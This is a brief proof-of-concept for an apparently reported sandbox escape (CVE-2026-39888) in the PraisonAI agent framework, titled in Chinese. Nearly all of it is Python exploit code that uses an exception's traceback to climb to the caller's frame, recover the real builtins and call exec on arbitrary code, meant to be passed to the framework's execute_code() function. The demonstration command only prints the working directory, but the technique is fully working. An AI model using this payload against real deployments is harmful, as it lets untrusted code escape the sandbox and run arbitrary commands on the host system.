CVE-2026-39888 PraisonAI 沙箱逃逸漏洞

# PoC for CVE-2026-39888: PraisonAI Sandbox Escape # This code demonstrates how to bypass the incomplete AST blocklist # to retrieve the real builtins and execute arbitrary code. malicious_payload = """ try: # Trigger an exception to access traceback object raise Exception("trigger"); except Exception as e: # Traverse the frame chain to escape the sandbox # Access the traceback, then the frame, then the caller's frame tb = e.__traceback__ frame = tb.tb_frame caller_frame = frame.f_back # Access the real __builtins__ dictionary of the wrapper real_builtins = caller_frame.f_builtins # Retrieve the 'exec' function from the real builtins exec_func = real_builtins['exec'] # Execute arbitrary Python code (e.g., importing os module) exploit_code = "import os; print('Sandbox Bypassed! PWD: ' + os.getcwd())" exec_func(exploit_code) """ # In a real scenario, this string would be sent to the vulnerable execute_code() function print(f"Payload to inject: {malicious_payload}")